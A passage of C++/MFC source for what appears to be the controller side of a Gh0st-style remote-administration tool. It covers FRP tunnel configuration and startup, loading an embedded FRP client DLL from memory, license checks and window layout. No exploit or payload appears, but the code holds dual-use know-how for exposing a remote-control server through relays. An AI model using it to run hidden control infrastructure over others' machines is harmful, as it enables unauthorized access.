CMy2015RemoteDlg* pThis = (CMy2015RemoteDlg*)param;
|
||
if (!pThis || !pThis->m_frpsRunSimpleWithToken) return 1;
|
||
|
||
FrpsConfig config = CFrpsForSubDlg::GetFrpsConfig();
|
||
|
||
// 调用 RunSimpleWithToken(token, bindPort, logFile, logLevel, logMaxDays, statusPtr)
|
||
// 传 NULL 表示使用默认值 (./frps.log, info, 60)
|
||
int result = pThis->m_frpsRunSimpleWithToken(
|
||
(char*)config.token.c_str(),
|
||
config.port,
|
||
NULL, // logFile: 使用默认值 ./frps.log
|
||
NULL, // logLevel: 使用默认值 info
|
||
0, // logMaxDays: 使用默认值 60
|
||
&pThis->m_frpsStatus
|
||
);
|
||
|
||
Mprintf("[FRPS] Server stopped with result: %d\n", result);
|
||
pThis->m_hFrpsThread = NULL;
|
||
return result;
|
||
}
|
||
|
||
void CMy2015RemoteDlg::StopLocalFrpsServer()
|
||
{
|
||
if (m_hFrpsThread == NULL) {
|
||
return;
|
||
}
|
||
|
||
Mprintf("[FRPS] Stopping local FRPS server...\n");
|
||
m_frpsStatus = STATUS_EXIT;
|
||
|
||
// 等待线程结束(轮询方式,与 FRPC 保持一致)
|
||
while (m_hFrpsThread) {
|
||
Sleep(20);
|
||
}
|
||
|
||
// 注意:不释放 m_hFrpsDll,会导致崩溃
|
||
Mprintf("[FRPS] Local FRPS server stopped\n");
|
||
}
|
||
#endif
|
||
|
||
//////////////////////////////////////////////////////////////////////////
|
||
// FRP 自动代理(由上级提供配置)
|
||
//////////////////////////////////////////////////////////////////////////
|
||
|
||
// 解析 FRP 自动代理配置
|
||
// 输入格式: serverAddr:serverPort-remotePort-expireDate-privilegeKey
|
||
// 示例: frp.example.com:7000-20080-20260323-a1b2c3d4... (自定义FRP: 32字符 privilegeKey)
|
||
// 示例: frp.example.com:7000-20080-20260323-ENC:xxx (官方FRP: 编码的 token)
|
||
CMy2015RemoteDlg::FrpAutoConfig CMy2015RemoteDlg::ParseFrpAutoConfig(const std::string& config, bool heartbeat)
|
||
{
|
||
FrpAutoConfig cfg;
|
||
if (config.empty()) return cfg;
|
||
|
||
// 格式: serverAddr:serverPort-remotePort-expireDate-authValue
|
||
// authValue 可以是:
|
||
// - 32字符十六进制: 自定义 FRP 模式 (privilegeKey = MD5(token + timestamp))
|
||
// - ENC:xxx: 官方 FRP 模式 (编码的 token)
|
||
// 注意:域名可能包含 '-',所以需要从后往前解析
|
||
|
||
// 从最后一个 '-' 提取 authValue
|
||
size_t lastDash = config.rfind('-');
|
||
if (lastDash == std::string::npos || lastDash == 0) {
|
||
Mprintf("[FRP-Auto] 配置格式错误(缺少authValue分隔符): %s\n", config.c_str());
|
||
return cfg;
|
||
}
|
||
cfg.privilegeKey = config.substr(lastDash + 1);
|
||
|
||
// 检测是否为编码的 token (官方 FRP 模式)
|
||
cfg.isEncodedToken = (cfg.privilegeKey.length() >= 4 && cfg.privilegeKey.substr(0, 4) == "ENC:");
|
||
|
||
// 验证 authValue 格式
|
||
if (!cfg.isEncodedToken && cfg.privilegeKey.length() != 32) {
|
||
Mprintf("[FRP-Auto] privilegeKey 长度错误 (期望32, 实际%d): %s\n",
|
||
(int)cfg.privilegeKey.length(), cfg.privilegeKey.c_str());
|
||
return cfg;
|
||
}
|
||
|
||
// 继续解析剩余部分: serverAddr:serverPort-remotePort-expireDate
|
||
std::string remaining = config.substr(0, lastDash);
|
||
|
||
// 从剩余部分提取 expireDate(最后8字符)
|
||
size_t expireDash = remaining.rfind('-');
|
||
if (expireDash == std::string::npos || expireDash == 0) {
|
||
Mprintf("[FRP-Auto] 配置格式错误(缺少expireDate分隔符): %s\n", config.c_str());
|
||
return cfg;
|
||
}
|
||
cfg.expireDate = remaining.substr(expireDash + 1);
|
||
if (cfg.expireDate.length() != 8) {
|
||
Mprintf("[FRP-Auto] expireDate 格式错误: %s\n", cfg.expireDate.c_str());
|
||
return cfg;
|
||
}
|
||
|
||
// 继续解析: serverAddr:serverPort-remotePort
|
||
remaining = remaining.substr(0, expireDash);
|
||
|
||
// 提取 remotePort
|
||
size_t portDash = remaining.rfind('-');
|
||
if (portDash == std::string::npos || portDash == 0) {
|
||
Mprintf("[FRP-Auto] 配置格式错误(缺少remotePort分隔符): %s\n", config.c_str());
|
||
return cfg;
|
||
}
|
||
std::string remotePortStr = remaining.substr(portDash + 1);
|
||
|
||
// 提取 serverAddr:serverPort
|
||
std::string addrPort = remaining.substr(0, portDash);
|
||
|
||
// 解析 serverAddr:serverPort(使用 rfind 支持域名和 IPv6)
|
||
size_t colonPos = addrPort.rfind(':');
|
||
if (colonPos == std::string::npos) {
|
||
Mprintf("[FRP-Auto] 地址格式错误: %s\n", addrPort.c_str());
|
||
return cfg;
|
||
}
|
||
|
||
cfg.serverAddr = addrPort.substr(0, colonPos);
|
||
try {
|
||
cfg.serverPort = std::stoi(addrPort.substr(colonPos + 1));
|
||
cfg.remotePort = std::stoi(remotePortStr);
|
||
} catch (...) {
|
||
Mprintf("[FRP-Auto] 端口解析错误\n");
|
||
return cfg;
|
||
}
|
||
|
||
cfg.enabled = !cfg.serverAddr.empty() &&
|
||
cfg.remotePort > 0 &&
|
||
!cfg.privilegeKey.empty();
|
||
|
||
if (!cfg.enabled) {
|
||
Mprintf("[FRP-Auto] 配置无效: server=%s, remotePort=%d\n",
|
||
cfg.serverAddr.c_str(), cfg.remotePort);
|
||
} else {
|
||
if(!heartbeat)
|
||
Mprintf("[FRP-Auto] 配置解析成功: server=%s:%d, remotePort=%d, mode=%s\n",
|
||
cfg.serverAddr.c_str(), cfg.serverPort, cfg.remotePort,
|
||
cfg.isEncodedToken ? "官方FRP(token)" : "自定义FRP(privilegeKey)");
|
||
}
|
||
|
||
return cfg;
|
||
}
|
||
|
||
// 获取有效的主控地址(优先使用上级FRP配置)
|
||
// 返回值:是否使用了FRP地址
|
||
bool CMy2015RemoteDlg::GetEffectiveMasterAddress(std::string& outIP, int& outPort, bool heartbeat)
|
||
{
|
||
// 默认使用本地配置
|
||
outIP = THIS_CFG.GetStr("settings", "master", "");
|
||
outPort = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
|
||
if (outPort <= 0) outPort = 6543;
|
||
|
||
// 检查是否有上级 FRP 配置
|
||
std::string frpConfigStr = THIS_CFG.GetStr("settings", "FrpConfig", "");
|
||
if (!frpConfigStr.empty()) {
|
||
FrpAutoConfig frpCfg = ParseFrpAutoConfig(frpConfigStr, heartbeat);
|
||
if (frpCfg.enabled && frpCfg.remotePort > 0) {
|
||
outIP = frpCfg.serverAddr;
|
||
outPort = frpCfg.remotePort;
|
||
return true; // 使用了 FRP 地址
|
||
}
|
||
}
|
||
return false; // 使用本地配置
|
||
}
|
||
|
||
// 日期字符串转 Unix 时间戳(当天 23:59:59)
|
||
// 输入: "20260323" -> 输出: 1774329599 (2026-03-23 23:59:59 UTC)
|
||
static time_t DateToTimestamp(const std::string& dateStr)
|
||
{
|
||
if (dateStr.length() != 8) return 0;
|
||
try {
|
||
struct tm t = {0};
|
||
t.tm_year = std::stoi(dateStr.substr(0, 4)) - 1900;
|
||
t.tm_mon = std::stoi(dateStr.substr(4, 2)) - 1;
|
||
t.tm_mday = std::stoi(dateStr.substr(6, 2));
|
||
t.tm_hour = 23; t.tm_min = 59; t.tm_sec = 59;
|
||
return mktime(&t);
|
||
} catch (...) {
|
||
return 0;
|
||
}
|
||
}
|
||
|
||
// FRP 自动代理线程函数
|
||
// 自定义 FRP: 使用 RunSimpleTcp (privilegeKey + timestamp)
|
||
typedef int (*FrpRunSimpleTcpFunc)(
|
||
const char* privilegeKey,
|
||
long timestamp,
|
||
const char* serverAddr,
|
||
int serverPort,
|
||
int localPort,
|
||
int remotePort,
|
||
int* statusPtr
|
||
);
|
||
|
||
// 官方 FRP: 使用 RunSimpleTcpWithToken (token only)
|
||
typedef int (*FrpRunSimpleTcpWithTokenFunc)(
|
||
const char* token,
|
||
const char* serverAddr,
|
||
int serverPort,
|
||
int localPort,
|
||
int remotePort,
|
||
int* statusPtr
|
||
);
|
||
|
||
static DWORD WINAPI FrpcAutoThreadProc(LPVOID param)
|
||
{
|
||
CMy2015RemoteDlg* pDlg = (CMy2015RemoteDlg*)param;
|
||
auto& cfg = pDlg->m_frpAutoConfig;
|
||
|
||
// 获取本地监听端口(ghost 可能是分号分割的多端口,取第一个)
|
||
int localPort = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
|
||
|
||
Mprintf("[FRP-Auto] 线程启动: %s:%d -> localhost:%d -> frps:%d (有效期至 %s, 模式: %s)\n",
|
||
cfg.serverAddr.c_str(), cfg.serverPort, localPort, cfg.remotePort,
|
||
cfg.expireDate.c_str(), cfg.isEncodedToken ? "官方FRP" : "自定义FRP");
|
||
|
||
pDlg->m_frpAutoStatus = CMy2015RemoteDlg::STATUS_RUN;
|
||
int result = 1;
|
||
|
||
if (cfg.isEncodedToken) {
|
||
// 官方 FRP 模式: 解码 token 并使用 RunSimpleTcpWithToken
|
||
std::string token = DecodeFrpToken(cfg.privilegeKey);
|
||
if (token.empty()) {
|
||
Mprintf("[FRP-Auto] Token 解码失败\n");
|
||
pDlg->m_frpAutoStatus = CMy2015RemoteDlg::STATUS_STOP;
|
||
pDlg->m_hFrpAutoThread = NULL;
|
||
return 1;
|
||
}
|
||
|
||
FrpRunSimpleTcpWithTokenFunc RunSimpleTcpWithToken = pDlg->m_hFrpDll ?
|
||
(FrpRunSimpleTcpWithTokenFunc)MemoryGetProcAddress(pDlg->m_hFrpDll, "RunSimpleTcpWithToken") : nullptr;
|
||
|
||
if (!RunSimpleTcpWithToken) {
|
||
Mprintf("[FRP-Auto] 获取 RunSimpleTcpWithToken 函数失败\n");
|
||
pDlg->m_frpAutoStatus = CMy2015RemoteDlg::STATUS_STOP;
|
||
pDlg->m_hFrpAutoThread = NULL;
|
||
return 1;
|
||
}
|
||
|
||
result = RunSimpleTcpWithToken(
|
||
token.c_str(),
|
||
cfg.serverAddr.c_str(),
|
||
cfg.serverPort,
|
||
localPort,
|
||
cfg.remotePort,
|
||
&pDlg->m_frpAutoStatus
|
||
);
|
||
} else {
|
||
// 自定义 FRP 模式: 使用 RunSimpleTcp (privilegeKey + timestamp)
|
||
time_t timestamp = DateToTimestamp(cfg.expireDate);
|
||
|
||
Mprintf("[FRP-Auto] 自定义模式参数: privilegeKey=%s, timestamp=%lld, expireDate=%s\n",
|
||
cfg.privilegeKey.c_str(), (long long)timestamp, cfg.expireDate.c_str());
|
||
|
||
FrpRunSimpleTcpFunc RunSimpleTcp = pDlg->m_hFrpDll ?
|
||
(FrpRunSimpleTcpFunc)MemoryGetProcAddress(pDlg->m_hFrpDll, "RunSimpleTcp") : nullptr;
|
||
|
||
if (!RunSimpleTcp) {
|
||
Mprintf("[FRP-Auto] 获取 RunSimpleTcp 函数失败\n");
|
||
pDlg->m_frpAutoStatus = CMy2015RemoteDlg::STATUS_STOP;
|
||
pDlg->m_hFrpAutoThread = NULL;
|
||
return 1;
|
||
}
|
||
|
||
result = RunSimpleTcp(
|
||
cfg.privilegeKey.c_str(),
|
||
(long)timestamp,
|
||
cfg.serverAddr.c_str(),
|
||
cfg.serverPort,
|
||
localPort,
|
||
cfg.remotePort,
|
||
&pDlg->m_frpAutoStatus
|
||
);
|
||
}
|
||
|
||
if (result != 0) {
|
||
Mprintf("[FRP-Auto] 连接失败,错误码: %d\n", result);
|
||
}
|
||
|
||
pDlg->m_frpAutoStatus = CMy2015RemoteDlg::STATUS_STOP;
|
||
pDlg->m_hFrpAutoThread = NULL;
|
||
return result;
|
||
}
|
||
|
||
// 启动 FRP 自动代理
|
||
void CMy2015RemoteDlg::StartFrpcAuto(const FrpAutoConfig& cfg)
|
||
{
|
||
if (!cfg.enabled) {
|
||
Mprintf("[FRP-Auto] 配置无效,不启动\n");
|
||
return;
|
||
}
|
||
|
||
// 检测系统是否支持 FRP(64位 + Windows 10+)
|
||
if (!IsFrpSupported("[FRP-Auto]")) {
|
||
return;
|
||
}
|
||
|
||
// 加载 FRP DLL(复用现有的 m_hFrpDll,如果还没加载则加载)
|
||
if (!m_hFrpDll) {
|
||
DWORD size = 0;
|
||
LPBYTE frpcData = ReadResource(IDR_BINARY_FRPC, size);
|
||
if (frpcData == nullptr) {
|
||
Mprintf("[FRP-Auto] 读取 FRP DLL 资源失败\n");
|
||
return;
|
||
}
|
||
m_hFrpDll = MemoryLoadLibrary(frpcData, size);
|
||
SAFE_DELETE_ARRAY(frpcData);
|
||
if (m_hFrpDll == NULL) {
|
||
Mprintf("[FRP-Auto] 加载 FRP DLL 失败\n");
|
||
return;
|
||
}
|
||
}
|
||
|
||
// 保存配置
|
||
m_frpAutoConfig = cfg;
|
||
|
||
// 保存到配置文件(用于下次启动自动恢复)
|
||
THIS_CFG.SetStr("frp_auto", "server", cfg.serverAddr);
|
||
THIS_CFG.SetInt("frp_auto", "serverPort", cfg.serverPort);
|
||
THIS_CFG.SetInt("frp_auto", "remotePort", cfg.remotePort);
|
||
THIS_CFG.SetStr("frp_auto", "privilegeKey", cfg.privilegeKey);
|
||
THIS_CFG.SetStr("frp_auto", "expireDate", cfg.expireDate);
|
||
|
||
// 启动线程
|
||
m_frpAutoStatus = STATUS_UNKNOWN;
|
||
m_hFrpAutoThread = CreateThread(NULL, 0, FrpcAutoThreadProc, this, 0, NULL);
|
||
|
||
// 设置状态栏显示的 FRP 地址 (IP:Port)
|
||
m_strFrpAddr.Format(_T("%hs:%d"), cfg.serverAddr.c_str(), cfg.remotePort);
|
||
// 直接更新状态栏 FRP 分区(不触发 OnSize 避免循环)
|
||
if (m_StatusBar.GetSafeHwnd()) {
|
||
m_StatusBar.SetPaneInfo(1, m_StatusBar.GetItemID(1), SBPS_NORMAL, 250);
|
||
m_StatusBar.SetPaneText(1, m_strFrpAddr);
|
||
}
|
||
|
||
Mprintf("[FRP-Auto] 启动自动代理: %s:%d -> frps:%d\n",
|
||
cfg.serverAddr.c_str(), cfg.serverPort, cfg.remotePort);
|
||
}
|
||
|
||
// 停止 FRP 自动代理
|
||
void CMy2015RemoteDlg::StopFrpcAuto()
|
||
{
|
||
if (m_hFrpAutoThread == NULL) return;
|
||
|
||
Mprintf("[FRP-Auto] 正在停止...\n");
|
||
m_frpAutoStatus = STATUS_EXIT;
|
||
|
||
// 等待线程结束(最多等待 5 秒)
|
||
DWORD waitResult = WaitForSingleObject(m_hFrpAutoThread, 5000);
|
||
if (waitResult == WAIT_TIMEOUT) {
|
||
Mprintf("[FRP-Auto] 等待超时,强制终止\n");
|
||
TerminateThread(m_hFrpAutoThread, 0);
|
||
}
|
||
|
||
m_hFrpAutoThread = NULL;
|
||
m_frpAutoStatus = STATUS_STOP;
|
||
|
||
// 清除状态栏 FRP 地址
|
||
m_strFrpAddr.Empty();
|
||
// 直接更新状态栏 FRP 分区(不触发 OnSize 避免循环)
|
||
if (m_StatusBar.GetSafeHwnd()) {
|
||
m_StatusBar.SetPaneInfo(1, m_StatusBar.GetItemID(1), SBPS_NORMAL, 0);
|
||
m_StatusBar.SetPaneText(1, _T(""));
|
||
}
|
||
|
||
Mprintf("[FRP-Auto] 已停止\n");
|
||
}
|
||
|
||
// 启动时自动恢复 FRP 自动代理
|
||
void CMy2015RemoteDlg::InitFrpcAuto()
|
||
{
|
||
// 从配置文件读取 FRP 自动代理配置
|
||
std::string frpConfigStr = THIS_CFG.GetStr("settings", "FrpConfig", "");
|
||
|
||
// 如果 [settings] FrpConfig 不为空,解析并更新 [frp_auto] 节
|
||
if (!frpConfigStr.empty()) {
|
||
FrpAutoConfig cfg = ParseFrpAutoConfig(frpConfigStr);
|
||
if (cfg.enabled) {
|
||
Mprintf("[FRP-Auto] 从 FrpConfig 解析配置: %s:%d -> %d\n",
|
||
cfg.serverAddr.c_str(), cfg.serverPort, cfg.remotePort);
|
||
StartFrpcAuto(cfg);
|
||
return;
|
||
}
|
||
}
|
||
|
||
// 如果没有 FrpConfig,尝试从 [frp_auto] 节读取(兼容旧配置)
|
||
std::string server = THIS_CFG.GetStr("frp_auto", "server", "");
|
||
if (server.empty()) return;
|
||
|
||
FrpAutoConfig cfg;
|
||
cfg.enabled = true;
|
||
cfg.serverAddr = server;
|
||
cfg.serverPort = THIS_CFG.GetInt("frp_auto", "serverPort", 7000);
|
||
cfg.remotePort = THIS_CFG.GetInt("frp_auto", "remotePort", 0);
|
||
cfg.privilegeKey = THIS_CFG.GetStr("frp_auto", "privilegeKey", "");
|
||
cfg.expireDate = THIS_CFG.GetStr("frp_auto", "expireDate", "");
|
||
|
||
if (cfg.remotePort > 0 && !cfg.privilegeKey.empty()) {
|
||
Mprintf("[FRP-Auto] 从配置文件恢复: %s:%d -> %d\n",
|
||
cfg.serverAddr.c_str(), cfg.serverPort, cfg.remotePort);
|
||
StartFrpcAuto(cfg);
|
||
}
|
||
}
|
||
|
||
//////////////////////////////////////////////////////////////////////////
|
||
|
||
void CMy2015RemoteDlg::ApplyFrpSettings()
|
||
{
|
||
auto master = THIS_CFG.GetStr("settings", "master");
|
||
if (master.empty()) return;
|
||
|
||
auto servers = StringToVector(master, ';');
|
||
std::string basePath = GetFrpSettingsPath(); // frpc.ini
|
||
std::string baseNoExt = basePath;
|
||
|
||
// 移除 .ini 扩展名,用于生成 frpc.1.ini, frpc.2.ini ...
|
||
if (baseNoExt.size() > 4 && baseNoExt.substr(baseNoExt.size() - 4) == ".ini") {
|
||
baseNoExt = baseNoExt.substr(0, baseNoExt.size() - 4);
|
||
}
|
||
|
||
// 删除旧的配置文件 (frpc.ini 会被重新生成,frpc.1.ini ~ frpc.N.ini 需要清理)
|
||
DeleteFileA(basePath.c_str());
|
||
for (int i = 1; i < 100; ++i) {
|
||
std::string oldPath = baseNoExt + "." + std::to_string(i) + ".ini";
|
||
if (GetFileAttributesA(oldPath.c_str()) != INVALID_FILE_ATTRIBUTES) {
|
||
DeleteFileA(oldPath.c_str());
|
||
} else {
|
||
break; // 文件不存在,后续也不会存在
|
||
}
|
||
}
|
||
|
||
int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000);
|
||
std::string token = THIS_CFG.GetStr("frp", "token");
|
||
auto ports = THIS_CFG.GetStr("settings", "ghost", "6543");
|
||
auto arr = StringToVector(ports, ';');
|
||
int fileServerPort = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
||
|
||
// 为每个服务端生成独立配置文件 (index=0 用 frpc.ini 保持兼容)
|
||
for (size_t idx = 0; idx < servers.size(); ++idx) {
|
||
std::string path = (idx == 0) ? basePath : baseNoExt + "." + std::to_string(idx) + ".ini";
|
||
std::string logFile = (idx == 0) ? "./frpc.log" : "./frpc." + std::to_string(idx) + ".log";
|
||
config cfg(path);
|
||
cfg.SetStr("common", "server_addr", servers[idx]);
|
||
cfg.SetInt("common", "server_port", serverPort);
|
||
cfg.SetStr("common", "token", token);
|
||
cfg.SetStr("common", "log_file", logFile);
|
||
|
||
for (size_t i = 0; i < arr.size(); ++i) {
|
||
auto tcp = BRAND_NET_PREFIX "-TCP-" + arr[i];
|
||
cfg.SetStr(tcp, "type", "tcp");
|
||
cfg.SetStr(tcp, "local_port", arr[i]);
|
||
cfg.SetStr(tcp, "remote_port", arr[i]);
|
||
cfg.SetStr(tcp, "proxy_protocol_version", "v2"); // 传递真实客户端 IP
|
||
|
||
auto udp = BRAND_NET_PREFIX "-UDP-" + arr[i];
|
||
cfg.SetStr(udp, "type", "udp");
|
||
cfg.SetStr(udp, "local_port", arr[i]);
|
||
cfg.SetStr(udp, "remote_port", arr[i]);
|
||
}
|
||
if (fileServerPort > 0) {
|
||
std::string name = BRAND_NET_PREFIX "-WEB-" + std::to_string(fileServerPort);
|
||
cfg.SetStr(name, "type", "tcp");
|
||
cfg.SetInt(name, "local_port", fileServerPort);
|
||
cfg.SetInt(name, "remote_port", fileServerPort);
|
||
cfg.SetStr(name, "proxy_protocol_version", "v2"); // 传递真实客户端 IP
|
||
}
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||
{
|
||
if ((nID & 0xFFF0) == IDM_ABOUTBOX) {
|
||
CAboutDlg dlgAbout;
|
||
dlgAbout.DoModal();
|
||
} else {
|
||
__super::OnSysCommand(nID, lParam);
|
||
}
|
||
}
|
||
|
||
// 如果向对话框添加最小化按钮,则需要下面的代码
|
||
// 来绘制该图标。对于使用文档/视图模型的 MFC 应用程序,
|
||
// 这将由框架自动完成。
|
||
|
||
void CMy2015RemoteDlg::OnPaint()
|
||
{
|
||
if (IsIconic()) {
|
||
CPaintDC dc(this); // 用于绘制的设备上下文
|
||
|
||
SendMessage(WM_ICONERASEBKGND, reinterpret_cast<WPARAM>(dc.GetSafeHdc()), 0);
|
||
|
||
// 使图标在工作区矩形中居中
|
||
int cxIcon = GetSystemMetrics(SM_CXICON);
|
||
int cyIcon = GetSystemMetrics(SM_CYICON);
|
||
CRect rect;
|
||
GetClientRect(&rect);
|
||
int x = (rect.Width() - cxIcon + 1) / 2;
|
||
int y = (rect.Height() - cyIcon + 1) / 2;
|
||
|
||
// 绘制图标
|
||
dc.DrawIcon(x, y, m_hIcon);
|
||
} else {
|
||
__super::OnPaint();
|
||
}
|
||
}
|
||
|
||
//当用户拖动最小化窗口时系统调用此函数取得光标
|
||
//显示。
|
||
HCURSOR CMy2015RemoteDlg::OnQueryDragIcon()
|
||
{
|
||
return static_cast<HCURSOR>(m_hIcon);
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||
{
|
||
__super::OnSize(nType, cx, cy);
|
||
|
||
static UINT lastType = SIZE_RESTORED;
|
||
if (SIZE_MINIMIZED==nType) {
|
||
lastType = nType;
|
||
return;
|
||
}
|
||
// 窗口大小类型变化时刷新列表(最小化还原、正常<->最大化切换)
|
||
bool needRefresh = (lastType != nType);
|
||
lastType = nType;
|
||
|
||
EnterCriticalSection(&m_cs);
|
||
if (m_CList_Online.m_hWnd!=NULL) { //(控件也是窗口因此也有句柄)
|
||
CRect rc;
|
||
rc.left = 1; //列表的左坐标
|
||
rc.top = m_ToolBar.IsVisible() ? 80:1; //列表的上坐标
|
||
rc.right = cx-1; //列表的右坐标
|
||
rc.bottom = cy-160; //列表的下坐标
|
||
m_GroupTab.MoveWindow(rc);
|
||
|
||
CRect rcInside;
|
||
m_GroupTab.GetClientRect(&rcInside);
|
||
m_GroupTab.AdjustRect(FALSE, &rcInside);
|
||
rcInside.bottom -= 1;
|
||
m_CList_Online.MoveWindow(&rcInside);
|
||
m_CList_Online.AdjustColumnWidths();
|
||
if (needRefresh) {
|
||
CListCtrlEx::ScopedEraseBkgnd scope(m_CList_Online);
|
||
m_GroupTab.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN);
|
||
m_CList_Online.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
|
||
}
|
||
}
|
||
LeaveCriticalSection(&m_cs);
|
||
|
||
if (m_CList_Message.m_hWnd!=NULL) {
|
||
CRect rc;
|
||
rc.left = 1; //列表的左坐标
|
||
rc.top = cy-160; //列表的上坐标
|
||
rc.right = cx-1; //列表的右坐标
|
||
rc.bottom = cy-20; //列表的下坐标
|
||
m_CList_Message.MoveWindow(rc);
|
||
if (needRefresh) {
|
||
m_CList_Message.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
|
||
}
|
||
auto total = cx - 24;
|
||
for(int i=0; i<g_Column_Count_Message; ++i) { //遍历每一个列
|
||
double Temp=g_Column_Data_Message[i].nWidth; //得到当前列的宽度
|
||
Temp/=g_Column_Message_Width; //看一看当前宽度占总长度的几分之几
|
||
Temp*=total; //用原来的长度乘以所占的几分之几得到当前的宽度
|
||
int lenth=Temp; //转换为int 类型
|
||
m_CList_Message.SetColumnWidth(i,(lenth)); //设置当前的宽度
|
||
}
|
||
}
|
||
|
||
if(m_StatusBar.m_hWnd!=NULL) { //当对话框大小改变时 状态条大小也随之改变
|
||
CRect Rect;
|
||
Rect.top=cy-20;
|
||
Rect.left=0;
|
||
Rect.right=cx;
|
||
Rect.bottom=cy;
|
||
m_StatusBar.MoveWindow(Rect);
|
||
// 4个分区:消息(自动拉伸)、FRP地址(250px)、运行统计(180px)、到期时间(180px)
|
||
int paneExpire = m_strExpireDate.IsEmpty() ? 0 : 180; // 无到期信息时隐藏
|
||
// 优先显示上级 FRPC,其次显示本机 FRPS
|
||
int paneFrp = 250;
|
||
int paneRuntime = 180;
|
||
int paneMsg = max(0, cx - paneFrp - paneRuntime - paneExpire - 20);
|
||
m_StatusBar.SetPaneInfo(0, m_StatusBar.GetItemID(0), SBPS_STRETCH, paneMsg);
|
||
m_StatusBar.SetPaneInfo(1, m_StatusBar.GetItemID(1), SBPS_NORMAL, paneFrp);
|
||
m_StatusBar.SetPaneInfo(2, m_StatusBar.GetItemID(2), SBPS_NORMAL, paneRuntime);
|
||
m_StatusBar.SetPaneInfo(3, m_StatusBar.GetItemID(3), SBPS_NORMAL, paneExpire);
|
||
}
|
||
|
||
if(m_ToolBar.m_hWnd!=NULL) { //工具条
|
||
CRect rc;
|
||
rc.top=rc.left=0;
|
||
rc.right=cx;
|
||
rc.bottom=80;
|
||
m_ToolBar.MoveWindow(rc); //设置工具条大小位置
|
||
}
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnExitSizeMove()
|
||
{
|
||
__super::OnExitSizeMove();
|
||
|
||
// 拖拽调整大小结束后刷新列表,避免残影
|
||
if (m_CList_Online.m_hWnd != NULL) {
|
||
CListCtrlEx::ScopedEraseBkgnd scope(m_CList_Online);
|
||
m_CList_Online.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
|
||
}
|
||
if (m_CList_Message.m_hWnd != NULL) {
|
||
m_CList_Message.RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
|
||
}
|
||
// 更新搜索栏位置(跟随主窗口移动/调整大小)
|
||
if (m_pSearchBar && m_pSearchBar->GetSafeHwnd() && m_pSearchBar->IsWindowVisible()) {
|
||
m_pSearchBar->UpdatePosition();
|
||
}
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnPasswordCheck(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
static bool isChecking = false;
|
||
if (isChecking)
|
||
return S_OK;
|
||
|
||
isChecking = true;
|
||
if (!CheckValid(-1)) {
|
||
KillTimer(TIMER_CHECK);
|
||
m_nMaxConnection = 2;
|
||
THIS_APP->UpdateMaxConnection(m_nMaxConnection);
|
||
int tm = THIS_CFG.GetInt("settings", "Notify", 10);
|
||
THIS_CFG.SetInt("settings", "Notify", tm - 1);
|
||
}
|
||
isChecking = false;
|
||
return S_OK;
|
||
}
|
||
|
||
void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
||
{
|
||
if (nIDEvent == TIMER_CHECK) {
|
||
static int count = 0;
|
||
static std::string eventName = EventName();
|
||
HANDLE hEvent = OpenEventA(SYNCHRONIZE, FALSE, eventName.c_str());
|
||
if (hEvent) {
|
||
SAFE_CLOSE_HANDLE(hEvent);
|
||
} else if (++count == 10) {
|
||
THIS_APP->UpdateMaxConnection(count);
|
||
}
|
||
if (!m_superPass.empty()) {
|
||
#ifndef _DEBUG
|
||
Mprintf(">>> Timer is killed <<<\n");
|
||
KillTimer(nIDEvent);
|
||
std::string masterHash = GetMasterHash();
|
||
if (GetUpperHash() != GetPwdHash())
|
||
THIS_CFG.SetStr("settings", "superAdmin", m_superPass);
|
||
if (GetPwdHash() == masterHash)
|
||
THIS_CFG.SetStr("settings", "HMAC", genHMAC(masterHash, m_superPass));
|
||
return;
|
||
#endif
|
||
}
|
||
PostMessageA(WM_PASSWORDCHECK);
|
||
}
|
||
if (nIDEvent == TIMER_CLOSEWND) {
|
||
DeletePopupWindow();
|
||
}
|
||
if (nIDEvent == TIMER_CLEAR_BALLOON) {
|
||
KillTimer(TIMER_CLEAR_BALLOON);
|
||
|
||
// 清除气球通知
|
||
NOTIFYICONDATA nid = m_Nid;
|
||
nid.cbSize = sizeof(NOTIFYICONDATA);
|
||
nid.uFlags = NIF_INFO;
|
||
nid.szInfo[0] = '\0';
|
||
nid.szInfoTitle[0] = '\0';
|
||
Shell_NotifyIcon(NIM_MODIFY, &nid);
|
||
}
|
||
if (nIDEvent == TIMER_HEARTBEAT_CHECK && m_settings.ReportInterval > 0) {
|
||
CheckHeartbeat();
|
||
}
|
||
if (nIDEvent == TIMER_REFRESH_LIST) {
|
||
CLock L(m_cs);
|
||
bool hasOffline = !m_PendingOffline.empty();
|
||
bool hasListChange = !m_PendingOnline.empty() || hasOffline;
|
||
|
||
// 有上下线事件时,禁用重绘以减少闪烁
|
||
if (hasListChange) {
|
||
m_CList_Online.SetRedraw(FALSE);
|
||
}
|
||
|
||
// 处理下线事件 - 虚拟列表不需要 DeleteItem,m_HostList 已在 OnUserOfflineMsg 中更新
|
||
if (!m_PendingOffline.empty()) {
|
||
m_PendingOffline.clear();
|
||
}
|
||
|
||
// 处理上线事件 - 虚拟列表只需更新计数
|
||
if (!m_PendingOnline.empty()) {
|
||
m_PendingOnline.clear();
|
||
}
|
||
|
||
// 虚拟列表:重建过滤索引并更新项目计数
|
||
if (hasListChange) {
|
||
RebuildFilteredIndices();
|
||
m_CList_Online.SetItemCountExV((int)m_FilteredIndices.size(), LVSICF_NOINVALIDATEALL | LVSICF_NOSCROLL);
|
||
}
|
||
|
||
